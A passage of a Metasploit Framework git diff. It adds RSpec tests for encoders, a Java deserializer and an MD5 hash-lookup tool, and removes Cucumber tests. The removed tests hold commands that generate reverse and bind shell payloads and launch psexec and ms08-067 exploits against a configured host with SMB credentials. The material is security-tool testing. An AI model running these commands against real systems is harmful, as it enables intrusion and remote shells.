ancestor_reference_names = options.fetch(:ancestor_reference_names) + + modules_pathname = options.fetch(:modules_pathname) + modules_path = modules_pathname.to_path + + reference_name = options.fetch(:reference_name) + + module_type = 'payload' + + include_context 'Msf::Simple::Framework#modules loading' + + # + # lets + # + + context reference_name do + ancestor_reference_names.each do |ancestor_reference_name| + it "can load '#{module_type}/#{ancestor_reference_name}'" do + @actual_ancestor_reference_name_set.add(ancestor_reference_name) + + expect_to_load_module_ancestor( + ancestor_reference_name: ancestor_reference_name, + module_type: module_type, + modules_path: modules_path + ) + end + end + + it 'can be instantiated' do + load_and_create_module( + ancestor_reference_names: ancestor_reference_names, + module_type: module_type, + modules_path: modules_path, + reference_name: reference_name + ) + end + end +end diff --git a/spec/support/shared/examples/rex/encoder/alpha2/generic.rb b/spec/support/shared/examples/rex/encoder/alpha2/generic.rb new file mode 100644 index 0000000000..84dcd96ae2 --- /dev/null +++ b/spec/support/shared/examples/rex/encoder/alpha2/generic.rb @@ -0,0 +1,65 @@ +shared_examples_for 'Rex::Encoder::Alpha2::Generic' do + + describe ".encode_byte" do + subject(:encoded_byte) { described_class.encode_byte(block, badchars) } + + context "when too many badchars" do + let(:block) { 0x41 } + let(:badchars) { (0x00..0xff).to_a.pack("C*") } + + it "raises an error" do + expect { encoded_byte }.to raise_error(RuntimeError) + end + end + + context "when encoding is possible" do + let(:block) { 0x41 } + let(:badchars) { 'B' } + + it "returns two-bytes encoding" do + expect(encoded_byte.length).to eq(2) + end + + it "returns encoding without badchars" do + badchars.each_char do |b| + is_expected.to_not include(b) + end + end + end + + end + + describe ".encode" do + subject(:encoded_result) { described_class.encode(buf, reg, offset, badchars) } + let(:buf) { 'ABCD' } + let(:reg) { 'ECX' } + let(:offset) { 0 } + + context "when too many badchars" do + let(:badchars) { (0x00..0xff).to_a.pack("C*") } + + it "raises an error" do + expect { encoded_result }.to raise_error(RuntimeError) + end + end + + context "when encoding is possible" do + let(:badchars) { '\n' } + + it "returns encoding starting with the decoder stub" do + is_expected.to start_with(described_class.gen_decoder(reg, offset)) + end + + it "returns encoding ending with terminator" do + is_expected.to end_with(described_class.add_terminator) + end + end + end + + describe ".add_terminator" do + subject(:terminator) { described_class.add_terminator } + + it { is_expected.to eq('AA') } + end + +end diff --git a/spec/support/shared/examples/rex/encoder/ndr/wstring.rb b/spec/support/shared/examples/rex/encoder/ndr/wstring.rb new file mode 100644 index 0000000000..75d79587cb --- /dev/null +++ b/spec/support/shared/examples/rex/encoder/ndr/wstring.rb @@ -0,0 +1,18 @@ +shared_examples_for "Rex::Encoder::NDR.wstring" do + let(:string) { "ABCD" } + + it "encodes the argument as null-terminated unicode string" do + is_expected.to include("A\x00B\x00C\x00D\x00\x00\x00") + end + + it "starts encoding string metadata" do + expect(subject.unpack("VVV")[0]).to eq(string.length + 1) + expect(subject.unpack("VVV")[1]).to eq(0) + expect(subject.unpack("VVV")[2]).to eq(string.length + 1) + end + + it "ends with padding to make result length 32-bits aligned" do + is_expected.to end_with("\x00" * 2) + expect(subject.length).to eq(24) + end +end diff --git a/spec/support/shared/examples/rex/encoder/ndr/wstring_prebuild.rb b/spec/support/shared/examples/rex/encoder/ndr/wstring_prebuild.rb new file mode 100644 index 0000000000..49dc812aba --- /dev/null +++ b/spec/support/shared/examples/rex/encoder/ndr/wstring_prebuild.rb @@ -0,0 +1,39 @@ +shared_examples_for "Rex::Encoder::NDR.wstring_prebuild" do + context "when 2-byte aligned string length" do + let(:string) { "A\x00B\x00C\x00" } + + it "encodes the argument as null-terminated unicode string" do + is_expected.to include("A\x00B\x00C\x00") + end + + it "starts encoding string metadata" do + expect(subject.unpack("VVV")[0]).to eq(string.length / 2) + expect(subject.unpack("VVV")[1]).to eq(0) + expect(subject.unpack("VVV")[2]).to eq(string.length / 2) + end + + it "ends with padding to make result length 32-bits aligned" do + is_expected.to end_with("\x00" * 2) + expect(subject.length).to eq(20) + end + end + + context "when 2-byte unaligned string length" do + let(:string) { "A\x00B\x00C" } + + it "encodes the argument as null-terminated unicode string" do + is_expected.to include("A\x00B\x00C\x00") + end + + it "starts encoding string metadata" do + expect(subject.unpack("VVV")[0]).to eq((string.length + 1) / 2) + expect(subject.unpack("VVV")[1]).to eq(0) + expect(subject.unpack("VVV")[2]).to eq((string.length + 1) / 2) + end + + it "ends with padding to make result length 32-bits aligned" do + is_expected.to end_with("\x00" * 2) + expect(subject.length).to eq(20) + end + end +end \ No newline at end of file diff --git a/spec/support/shared/examples/rex/image_source/image_source.rb b/spec/support/shared/examples/rex/image_source/image_source.rb new file mode 100644 index 0000000000..f080d5a6dd --- /dev/null +++ b/spec/support/shared/examples/rex/image_source/image_source.rb @@ -0,0 +1,23 @@ +shared_examples_for "Rex::ImageSource::ImageSource" do + + describe "#read_asciiz" do + let(:offset) { 0 } + + it "returns an String" do + expect(subject.read_asciiz(offset)).to be_kind_of(String) + end + + it "returns a null free String" do + expect(subject.read_asciiz(offset)).to_not include("\x00") + end + + context "when offset bigger than available data" do + let(:offset) { 12345678 } + + it "returns an empty String" do + expect(subject.read_asciiz(offset)).to be_empty + end + end + end + +end diff --git a/spec/tools/cpassword_decrypt_spec.rb b/spec/tools/cpassword_decrypt_spec.rb index addf839222..a063c980b0 100644 --- a/spec/tools/cpassword_decrypt_spec.rb +++ b/spec/tools/cpassword_decrypt_spec.rb @@ -2,7 +2,6 @@ require 'spec_helper' load Metasploit::Framework.root.join('tools/cpassword_decrypt.rb').to_path -require 'fastlib' require 'msfenv' require 'msf/base' @@ -28,4 +27,4 @@ describe CPassword do end end end -end \ No newline at end of file +end diff --git a/spec/tools/java_deserializer_spec.rb b/spec/tools/java_deserializer_spec.rb new file mode 100644 index 0000000000..26fc141bee --- /dev/null +++ b/spec/tools/java_deserializer_spec.rb @@ -0,0 +1,74 @@ +require 'rex/java' +require 'stringio' + +load Metasploit::Framework.root.join('tools/java_deserializer.rb').to_path + +describe JavaDeserializer do + + before(:all) do + @out = $stdout + @err = $stderr + + $stdout = StringIO.new + $stderr = StringIO.new + end + + after(:all) do + $stdout = @out + $stderr = @err + end + + subject(:deserializer) do + described_class.new + end + + let(:valid_stream) do + "\xac\xed\x00\x05\x75\x72\x00\x02" + + "\x5b\x43\xb0\x26\x66\xb0\xe2\x5d" + + "\x84\xac\x02\x00\x00\x78\x70\x00" + + "\x00\x00\x02\x00\x61\x00\x62" + end + + describe ".new" do + it "returns a JavaDeserializer instance" do + expect(deserializer).to be_a(JavaDeserializer) + end + + it "initializes file to nil" do + expect(deserializer.file).to be_nil + end + end + + describe "#run" do + context "when file is nil" do + it "returns nil" do + expect(deserializer.run).to be_nil + end + end + + context "when file contains a valid stream" do + it "prints the stream contents" do + expect(File).to receive(:new) do + contents = valid_stream + StringIO.new(contents) + end + deserializer.file = 'sample' + deserializer.run + expect($stdout.string).to include('[7e0001] NewArray { char, ["97", "98"] }') + end + end + + context "when file contains an invalid stream" do + it "prints the error while deserializing" do + expect(File).to receive(:new) do + contents = 'invalid_stream' + StringIO.new(contents) + end + deserializer.file = 'sample' + deserializer.run + expect($stdout.string).to include('[-] Failed to unserialize Stream') + end + end + + end +end \ No newline at end of file diff --git a/spec/tools/md5_lookup_spec.rb b/spec/tools/md5_lookup_spec.rb new file mode 100644 index 0000000000..3027304eca --- /dev/null +++ b/spec/tools/md5_lookup_spec.rb @@ -0,0 +1,378 @@ +load Metasploit::Framework.root.join('tools/md5_lookup.rb').to_path + +require 'rex/proto/http/response' +require 'stringio' + +describe Md5LookupUtility do + + # + # Init some data + # + + let(:input_data) do + '098f6bcd4621d373cade4e832627b4f6' + end + + let(:bad_input_data) do + '' + end + + let(:good_result) do + 'test' + end + + let(:empty_result) do + '' + end + + let(:good_json_response) do + %Q|{ "status":true, "result":"test", "message":"" }| + end + + let(:bad_json_response) do + %Q|{ "status":false, "result":"", "message":"not found" }| + end + + let(:db_source) do + 'i337.net' + end + + let(:input_file) do + 'input.txt' + end + + let(:output_file) do + 'output.txt' + end + + let(:options) do + { + :databases => [db_source], + :outfile => output_file, + :input => input_file + } + end + + subject do + Md5LookupUtility::Md5Lookup.new + end + + def set_expected_response(body) + res = Rex::Proto::Http::Response.new + res.code = 200 + res.body = body + res + end + + def set_send_request_cgi(body) + allow(subject).to receive(:send_request_cgi) do |opts| + set_expected_response(body) + end + end + + def get_stdout(&block) + out = $stdout + $stdout = fake = StringIO.new + begin + yield + ensure + $stdout = out + end + fake.string + end + + # + # Tests start here + # + + + describe Md5LookupUtility::Disclaimer do + + let(:group_name) { 'MD5Lookup' } + let(:setting_name) { 'waiver' } + let(:data) { true } + let(:t_path) { 'filepath' } + + def stub_save + ini = Rex::Parser::Ini.new(t_path) + allow(ini).to receive(:to_file).with(any_args) + allow(Rex::Parser::Ini).to receive(:new).and_return(ini) + return ini + end + + def stub_load(with_setting=true) + if with_setting + ini = stub_save + disclamer.save_waiver + else + ini = Rex::Parser::Ini.new(t_path) + end + + allow(Rex::Parser::Ini).to receive(:new).and_return(ini) + return ini + end + + subject(:disclamer) do + Md5LookupUtility::Disclaimer.new + end + + describe '#ack' do + context 'When \'Y\' is entered' do + it 'returns true' do + agree = "Y\n" + allow($stdin).to receive(:gets).and_return(agree) + get_stdout { expect(disclamer.ack).to be_truthy } + end + end + end + + describe '#save_waiver' do + context 'when waiver is true' do + it 'saves the wavier setting' do + ini = stub_save + disclamer.save_waiver + expect(ini[group_name]).to eq({setting_name=>true}) + end + end + end + + describe '#has_waiver?' do + context 'when there is a waiver' do + it 'returns true' do + ini = stub_load(true) + expect(disclamer.send(:has_waiver?)).to be_truthy + end + end + + context 'when there is no waiver' do + it 'returns false' do + ini = stub_load(false) + expect(disclamer.send(:has_waiver?)).to be_falsey + end + end + end + + describe '#save_setting' do + context 'when a setting is given' do + it 'saves the setting' do + ini = stub_save + disclamer.send(:save_setting, setting_name, data) + expect(ini[group_name]).to eq({setting_name=>true}) + end + end + end + + describe '#load_setting' do + end + + end + + + describe Md5LookupUtility::Md5Lookup do + + describe '.new' do + it 'returns a Md5LookupUtility::Md5Lookup instance' do + expect(subject).to be_a(Md5LookupUtility::Md5Lookup) + end + end + + describe '#lookup' do + + context 'when a hash is found' do + it 'returns the cracked result' do + set_send_request_cgi(good_json_response) + expect(subject.lookup(input_data, db_source)).to eq(good_result) + end + end + + context 'when a hash is not found' do + it 'returns an empty result' do + set_send_request_cgi(bad_json_response) + expect(subject.lookup(input_data, db_source)).to eq(empty_result) + end + end + end + + describe '#get_json_results' do + context 'when JSON contains the found result' do + it 'returns the cracked result' do + res = set_expected_response(good_json_response) + expect(subject.send(:get_json_result, res)).to eq(good_result) + end + end + + context 'when there is no JSON data' do + it 'returns an empty result' do + res = set_expected_response('') + expect(subject.send(:get_json_result, res)).to eq(empty_result) + end + end + end + + end + + + describe Md5LookupUtility::Driver do + + let(:expected_result) { + { + :hash => input_data, + :cracked_hash => good_result, + :credit => db_source + } + } + + before(:each) do + Md5LookupUtility::OptsConsole.stub(:parse).with(any_args).and_return(options) + allow(File).to receive(:open).with(input_file, 'rb').and_yield(StringIO.new(input_data)) + allow(File).to receive(:new).with(output_file, 'wb').and_return(StringIO.new) + end + + subject do + Md5LookupUtility::Driver.new + end + + describe '.new' do + it 'returns a Md5LookupUtility::Driver instance' do + expect(subject).to be_a(Md5LookupUtility::Driver) + end + end + + describe '#run' do + context 'when a hash is found' do + it 'prints a \'found\' message' do + disclaimer = Md5LookupUtility::Disclaimer.new + allow(disclaimer).to receive(:has_waiver?).and_return(true) + allow(Md5LookupUtility::Disclaimer).to receive(:new).and_return(disclaimer) + allow(subject).to receive(:get_hash_results).and_yield(expected_result) + output = get_stdout { subject.run } + expect(output).to include('Found:') + end + end + end + + describe '#save_result' do + context 'when a result is given' do + it 'writes the result to file' do + subject.send(:save_result, expected_result) + expect(subject.instance_variable_get(:@output_handle).string).to include(good_result) + end + end + end + + describe '#get_hash_results' do + context 'when a hash is found' do + it 'yields a result' do + search_engine = Md5LookupUtility::Md5Lookup.new + allow(search_engine).to receive(:lookup).and_return(good_result) + allow(Md5LookupUtility::Md5Lookup).to receive(:new).and_return(search_engine) + + expect{ |b| subject.send(:get_hash_results, input_file, [db_source], &b) }.to yield_with_args(expected_result) + end + end + end + + describe '#extract_hashes' do + context 'when a MD5 file is supplied' do + it 'yields the MD5 hash' do + expect{ |b| subject.send(:extract_hashes, input_file, &b) }.to yield_with_args(input_data) + end + end + + context 'when an empty file is supplied' do + before do + allow(File).to receive(:open).with(input_file, 'rb').and_yield(StringIO.new('')) + end + + it 'yields nothing' do + expect{ |b| subject.send(:extract_hashes, input_file, &b) }.not_to yield_control + end + end + end + + describe '#is_md5_format?' do + context 'when a valid MD5 is given' do + it 'returns true' do + expect(subject.send(:is_md5_format?,input_data)).to be_truthy + end + end + + context 'when a non-MD5 value is given' do + it 'returns false' do + expect(subject.send(:is_md5_format?, bad_input_data)).to be_falsey + end + end + end + + end + + + describe Md5LookupUtility::OptsConsole do + let(:valid_argv) { "-i #{input_file} -d all -o #{output_file}".split } + + let(:invalid_argv) { "".split } + + subject do + Md5LookupUtility::OptsConsole + end + + describe '.parse' do + context 'when valid arguments are passed' do + let(:opts) { subject.parse(valid_argv) } + + before(:each) do + allow(File).to receive(:exists?).and_return(true) + end + + it 'returns the input file path' do + expect(opts[:input]).to eq(input_file) + end + + it 'returns the output file path' do + expect(opts[:outfile]).to eq(output_file) + end + + it 'returns the databases in an array' do + expect(opts[:databases]).to be_a(Array) + expect(opts[:databases]).to include(db_source) + end + end + + context 'when the required input file is not set' do + before(:each) do + allow(File).to receive(:exists?).and_return(false) + end + + it 'raises an OptionParser::MissingArgument error' do + expect{subject.parse(invalid_argv)}.to raise_error(OptionParser::MissingArgument) + end + end + + end + + + describe '.extract_db_names' do + let(:list) {'i337,invalid'} + context 'when database symbols \'i337\' and \'invalid\' are given' do + it 'returns i337.net in an array' do + db_names = subject.extract_db_names(list) + expect(db_names).to be_a(Array) + expect(db_names).to include(db_source) + end + end + end + + describe '.get_database_symbols' do + it 'returns an array' do + expect(subject.get_database_symbols).to be_a(Array) + end + end + + describe '.get_database_names' do + it 'returns an array' do + expect(subject.get_database_names).to be_a(Array) + end + end + end + +end diff --git a/spec/tools/virustotal_spec.rb b/spec/tools/virustotal_spec.rb index 11624df319..a3250f3855 100644 --- a/spec/tools/virustotal_spec.rb +++ b/spec/tools/virustotal_spec.rb @@ -2,7 +2,6 @@ require 'spec_helper' load Metasploit::Framework.root.join('tools/virustotal.rb').to_path -require 'fastlib' require 'msfenv' require 'msf/base' require 'digest/sha2' diff --git a/test/features/data/test.exe b/test/features/data/test.exe deleted file mode 100644 index 792d600548..0000000000 --- a/test/features/data/test.exe +++ /dev/null @@ -1 +0,0 @@ -# diff --git a/test/features/encoders.feature b/test/features/encoders.feature deleted file mode 100644 index 2eff0c65a5..0000000000 --- a/test/features/encoders.feature +++ /dev/null @@ -1,18 +0,0 @@ -#This feature contains scenarios that test the various encoders within the metasploit framework - -@announce-stdout - -Feature: As a Metasploit Framework user - I want to user encoders - So that I can encode various payloads I might use for attacks - -Scenario: Create a windows tcp bind payload using the x86/unicode mixed encoder - When I run msfvenom to encode for windows using the "x86/unicode_mixed" encoder with "-i 1" options and a buffer register - #When I run `./msfvenom -p windows/shell/bind_tcp -e x86/unicode_mixed -i 1 BufferRegister=eax` interactively - Then the output should contain "x86/unicode_mixed succeeded with size" - -Scenario: Create a windows tcp bind payload encoded with x86 alpha mixed - When I run msfvenom to encode for windows using the "x86/alpha_mixed" encoder with "-b '\x00' -i 1" options - #When I run `./msfvenom -p windows/shell/bind_tcp -e x86/alpha_mixed -b '\x00' -i 1` interactively - Then the output should contain "x86/alpha_mixed succeeded with size" - diff --git a/test/features/handler.feature b/test/features/handler.feature deleted file mode 100644 index 3c3a64c539..0000000000 --- a/test/features/handler.feature +++ /dev/null @@ -1,19 +0,0 @@ -#This feature contains scenarios that test different handlers within the metasploit framework -@announce - -Feature: As a MS Framework User - I want to launch various handlers - So the framework can properly handle input and output from exploits - -Scenario: Launching the exploit multi handler in Check mode - When I run `./msfcli exploit/multi/handler C` - Then the output should contain "module tree" - Then the output should contain "This exploit does not support check." - -Scenario: Launching the generic multi handler in Check mode - When I run `./msfcli multi/handler C` - Then the output should contain "module tree" - Then the output should contain "This exploit does not support check." - - - diff --git a/test/features/payloads.feature b/test/features/payloads.feature deleted file mode 100644 index 8c50d4262b..0000000000 --- a/test/features/payloads.feature +++ /dev/null @@ -1,24 +0,0 @@ -#This feature contains scenarios to test the ability to run/access payloads from the metasploit framework - -Feature: I want access to Metasploit payloads - So that I can define payload options for exploits - -Scenario: Verify the windows shell reverse tcp payload option in ruby - When I run msfpayload to generate a "windows/shell_reverse_tcp" on the local host - Then the output should contain "# windows/shell_reverse_tcp" - Then the output should contain "# http://www.metasploit.com" - -Scenario: Verify the windows x64 shell reverse tcp payload option in ruby - When I run msfpayload to generate a "windows/x64/shell_reverse_tcp" on the local host - Then the output should contain "# windows/x64/shell_reverse_tcp" - Then the output should contain "# http://www.metasploit.com" - -Scenario: Verify the linux x86 shell reverse tcp payload option in ruby - When I run msfpayload to generate a "linux/x86/shell_reverse_tcp" on the local host - Then the output should contain "# linux/x86/shell_reverse_tcp" - Then the output should contain "# http://www.metasploit.com" - -Scenario: Verify the windows meterpreter reverse tcp payload can output its contents in ruby - When I run msfpayload to generate a "windows/meterpreter/reverse_tcp" on the local host - Then the output should contain "# windows/meterpreter/reverse_tcp - 290 bytes (stage 1)" - Then the output should contain "# http://www.metasploit.com" diff --git a/test/features/steps/common_steps.rb b/test/features/steps/common_steps.rb deleted file mode 100644 index 21620e30d6..0000000000 --- a/test/features/steps/common_steps.rb +++ /dev/null @@ -1,31 +0,0 @@ -#This is the step definition file for common framework testing steps or meta steps - -When /^I run the "([^"]*)" exploit with standard target options$/ do |exploit| - steps %Q{ - When I run `#{exploit} RHOST=#{TestConfig.instance.rhost} SMBPass=#{TestConfig.instance.smbpass} SMBUser=#{TestConfig.instance.smbuser} E` interactively - } - end - -When /^I run the "([^"]*)" exploit with standard target options in check mode$/ do |exploit| - steps %Q{ - When I run `#{exploit} RHOST=#{TestConfig.instance.rhost} SMBPass=#{TestConfig.instance.smbpass} SMBUser=#{TestConfig.instance.smbuser} C` interactively - } - end - -When /^I run msfvenom to encode for windows using the "([^"]*)" encoder with "(.*)" options$/ do |encoder, options| - steps %Q{ - When I run `./msfvenom ./msfvenom -p windows/shell/bind_tcp -e #{encoder} #{options}` interactively - } - end - -When /^I run msfvenom to encode for windows using the "([^"]*)" encoder with "(.*)" options and a buffer register$/ do |encoder, options| - steps %Q{ - When I run `./msfvenom ./msfvenom -p windows/shell/bind_tcp -e #{encoder} #{options} BufferRegister=eax` interactively - } - end - -When /^I run msfpayload to generate a "([^"]*)" on the local host$/ do |payload| - steps %Q{ - When I run `./msfpayload #{payload} LHOST=127.0.0.1 y` - } - end \ No newline at end of file diff --git a/test/features/steps/handler_steps.rb b/test/features/steps/handler_steps.rb deleted file mode 100644 index 9660708856..0000000000 --- a/test/features/steps/handler_steps.rb +++ /dev/null @@ -1,23 +0,0 @@ -#This is the step definition file for cucumber features relating to the framework handler feature - - Given /^I launch the exploit multi handler$/ do - steps %Q{ - - When I run `./msfcli exploit/multi/handler E` - Then the output should contain "Please wait while we load the module tree..." - Then the output should contain "Started reverse handler on" - Then the output should contain "Starting the payload handler..." - - } - end - -Given /^I launch the generic multi handler$/ do - steps %Q{ - - When I run `./msfcli multi/handler E` - Then the output should contain "Please wait while we load the module tree..." - Then the output should contain "Started reverse handler on" - Then the output should contain "Starting the payload handler..." - - } - end diff --git a/test/features/support/.gitignore b/test/features/support/.gitignore deleted file mode 100644 index 10eca368d9..0000000000 --- a/test/features/support/.gitignore +++ /dev/null @@ -1,3 +0,0 @@ -# These files are to be excluded from git # - -test_config.yml diff --git a/test/features/support/env.rb b/test/features/support/env.rb deleted file mode 100644 index 9a60d7d973..0000000000 --- a/test/features/support/env.rb +++ /dev/null @@ -1,25 +0,0 @@ -#Cucumber automation environment setup class for MSF Testing - -require 'cucumber' -require 'aruba/cucumber' -require_relative 'test_config' - -Before do - # Automatically find the framework path - default_path = File.join(File.expand_path(File.dirname(__FILE__)), '../../../') - - # Add more paths manually if needed. For example: - # "/Users/gary/rapid7/framework" - @dirs = [default_path] - - @aruba_timeout_seconds = 150 -end - -Before('@slow_process') do - @aruba_io_wait_seconds = 150 -end - -@After -#after automation execution methods go here - - diff --git a/test/features/support/test_config.rb b/test/features/support/test_config.rb deleted file mode 100644 index 8c1c5b9b77..0000000000 --- a/test/features/support/test_config.rb +++ /dev/null @@ -1,44 +0,0 @@ -#Test config class provides public methods or varables to use for ever test -#Includes housing data such as default web site to test, time out varaibels, etc -require 'singleton' -class TestConfig - include Singleton - - def initialize(*args) - - yml_path = File.join(File.dirname(__FILE__),'test_config.yml') - - if File.exists?(yml_path) - @yaml_options = YAML::load(File.open(yml_path)) - else - @yaml_options = {} - end - - @options = { - "rhost" => "localhost", - "smbuser" => "user", - "smbpass" => "password" - } - end - - def run_server - @options[:define_site].nil? - end - - def method_missing(method) - if @options.has_key? method.to_s - return @options[method.to_s] - else - super - end - end - -def respond_to?(method_sym, include_private = false) - if @options.include? method_s - true - else - super - end - end - -end diff --git a/test/features/windows_exploits.feature b/test/features/windows_exploits.feature deleted file mode 100644 index 5739874cd9..0000000000 --- a/test/features/windows_exploits.feature +++ /dev/null @@ -1,31 +0,0 @@ -#This feature contains scenarios that test running exploits related to microsft windows platforms - -@announce-stdout - -Feature: I want to launch Windows based exploits - So that I can hack Windows targets - So that I can prove how totally unsecured Windows can be - -Scenario: Launch Psexec against a Windows Host - When I run the "./msfcli windows/smb/psexec" exploit with standard target options - Then the output should contain "445|WORKGROUP as user" - Then the output should contain "module tree" - -Scenario: Launch PSexec in Internal Check Mode - When I run the "./msfcli windows/smb/psexec" exploit with standard target options in check mode - Then the output should contain "module tree" - Then the output should contain "This exploit does not support check." - -Scenario: Launch ms08-067 in Internal Check Mode - When I run the "./msfcli windows/smb/ms08_067_netapi" exploit with standard target options in check mode - #When I run `./msfcli windows/smb/ms08_067_netapi RHOST=10.6.0.194 C` interactively - Then the output should contain "module tree" - Then the output should not contain "Check failed:" - -Scenario: Launch ms08-067 against a windows remote host - When I run the "./msfcli windows/smb/ms08_067_netapi" exploit with standard target options - Then the output should contain "module tree" - Then the output should contain "Started reverse handler" - - - diff --git a/test/modules/auxiliary/test/capture.rb b/test/modules/auxiliary/test/capture.rb index 766a833bab..4e05e343fc 100644 --- a/test/modules/auxiliary/test/capture.rb +++ b/test/modules/auxiliary/test/capture.rb @@ -1,12 +1,6 @@ ## -# $Id$ -## - -## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# Framework web site for more information on licensing and terms of use. -# http://metasploit.com/framework/ +# This module requires Metasploit: http://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## @@ -21,7 +15,6 @@ class Metasploit3 < Msf::Auxiliary def initialize super( 'Name' => 'Simple Network Capture Tester', - 'Version' => '$Revision$', 'Description' => 'This module sniffs HTTP GET requests from the network', 'Author' => 'hdm', 'License' => MSF_LICENSE, diff --git a/test/modules/auxiliary/test/check.rb b/test/modules/auxiliary/test/check.rb index b04ab8ac23..28d75be440 100644 --- a/test/modules/auxiliary/test/check.rb +++ b/test/modules/auxiliary/test/check.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# Framework web site for more information on licensing and terms of use. -# http://metasploit.com/framework/ +# This module requires Metasploit: http://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/test/modules/auxiliary/test/eth_spoof.rb b/test/modules/auxiliary/test/eth_spoof.rb index 640718fda3..087adf1282 100644 --- a/test/modules/auxiliary/test/eth_spoof.rb +++ b/test/modules/auxiliary/test/eth_spoof.rb @@ -1,12 +1,6 @@ ## -# $Id$ -## - -## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# Framework web site for more information on licensing and terms of use. -# http://metasploit.com/framework/ +# This module requires Metasploit: http://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## @@ -21,7 +15,6 @@ class Metasploit3 < Msf::Auxiliary def initialize super( 'Name' => 'Simple Ethernet Frame Spoofer', - 'Version' => '$Revision$', 'Description' => 'This module sends spoofed ethernet frames', 'Author' => 'hdm', 'License' => MSF_LICENSE, diff --git a/test/modules/auxiliary/test/ftp_data.rb b/test/modules/auxiliary/test/ftp_data.rb index 415e41b94a..8f22c67c49 100644 --- a/test/modules/auxiliary/test/ftp_data.rb +++ b/test/modules/auxiliary/test/ftp_data.rb @@ -1,12 +1,6 @@ ## -# $Id$ -## - -## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# Framework web site for more information on licensing and terms of use. -# http://metasploit.com/framework/ +# This module requires Metasploit: http://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' @@ -18,7 +12,6 @@ class Metasploit3 < Msf::Auxiliary def initialize super( 'Name' => 'FTP Client Exploit Mixin DATA test Exploit', - 'Version' => '$Revision$', 'Description' => 'This module tests the "DATA" functionality of the ftp client exploit mixin.', 'Author' => [ 'Thomas Ring', 'jduck' ], 'License' => MSF_LICENSE diff --git a/test/modules/auxiliary/test/heaplib2.rb b/test/modules/auxiliary/test/heaplib2.rb index f0b0a06fbc..d50c432964 100644 --- a/test/modules/auxiliary/test/heaplib2.rb +++ b/test/modules/auxiliary/test/heaplib2.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## @@ -12,13 +12,13 @@ class Metasploit3 < Msf::Auxiliary def initialize(info={}) super(update_info(info, - 'Name' => "heaplib2 test", + 'Name' => "Heaplib2 Test", 'Description' => %q{ - This tests heaplib2 + This tests heaplib2. Since it is a test module, it's not intended to do much useful work in the field. }, 'License' => MSF_LICENSE, 'Author' => [ 'sinn3r' ], - 'References' => + 'References' => [ [ 'URL', 'http://metasploit.com' ] ], @@ -79,4 +79,4 @@ class Metasploit3 < Msf::Auxiliary exploit end -end \ No newline at end of file +end diff --git a/test/modules/auxiliary/test/httpserver.rb b/test/modules/auxiliary/test/httpserver.rb index b40819d862..8fc667d5c4 100644 --- a/test/modules/auxiliary/test/httpserver.rb +++ b/test/modules/auxiliary/test/httpserver.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/test/modules/auxiliary/test/ip_spoof.rb b/test/modules/auxiliary/test/ip_spoof.rb index 9cd164b8ee..50dc2f8ef4 100644 --- a/test/modules/auxiliary/test/ip_spoof.rb +++ b/test/modules/auxiliary/test/ip_spoof.rb @@ -1,12 +1,6 @@ ## -# $Id$ -## - -## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# Framework web site for more information on licensing and terms of use. -# http://metasploit.com/framework/ +# This module requires Metasploit: http://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## @@ -20,7 +14,6 @@ class Metasploit3 < Msf::Auxiliary def initialize super( 'Name' => 'Simple IP Spoofing Tester', - 'Version' => '$Revision$', 'Description' => 'Simple IP Spoofing Tester', 'Author' => 'hdm', 'License' => MSF_LICENSE diff --git a/test/modules/auxiliary/test/recon_passive.rb b/test/modules/auxiliary/test/recon_passive.rb index 45f24575e4..dfd7a23b8e 100644 --- a/test/modules/auxiliary/test/recon_passive.rb +++ b/test/modules/auxiliary/test/recon_passive.rb @@ -1,12 +1,6 @@ ## -# $Id$ -## - -## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# Framework web site for more information on licensing and terms of use. -# http://metasploit.com/framework/ +# This module requires Metasploit: http://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## @@ -21,7 +15,6 @@ class Metasploit3 < Msf::Auxiliary def initialize super( 'Name' => 'Simple Recon Module Tester', - 'Version' => '$Revision$', 'Description' => 'Simple Recon Module Tester', 'Author' => 'hdm', 'License' => MSF_LICENSE, diff --git a/test/modules/auxiliary/test/scanner_batch.rb b/test/modules/auxiliary/test/scanner_batch.rb index f11d518158..d9e8a346d7 100644 --- a/test/modules/auxiliary/test/scanner_batch.rb +++ b/test/modules/auxiliary/test/scanner_batch.rb @@ -1,12 +1,6 @@ ## -# $Id$ -## - -## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# Framework web site for more information on licensing and terms of use. -# http://metasploit.com/framework/ +# This module requires Metasploit: http://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## @@ -20,7 +14,6 @@ class Metasploit3 < Msf::Auxiliary def initialize super( 'Name' => 'Simple Recon Module Tester', - 'Version' => '$Revision$', 'Description' => 'Simple Recon Module Tester', 'Author' => 'hdm', 'License' => MSF_LICENSE diff --git a/test/modules/auxiliary/test/scanner_host.rb b/test/modules/auxiliary/test/scanner_host.rb index 828e331162..2f9ff8475e 100644 --- a/test/modules/auxiliary/test/scanner_host.rb +++ b/test/modules/auxiliary/test/scanner_host.rb @@ -1,12 +1,6 @@ ## -# $Id$ -## - -## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# Framework web site for more information on licensing and terms of use. -# http://metasploit.com/framework/ +# This module requires Metasploit: http://metasploit.com/download +# Current source: 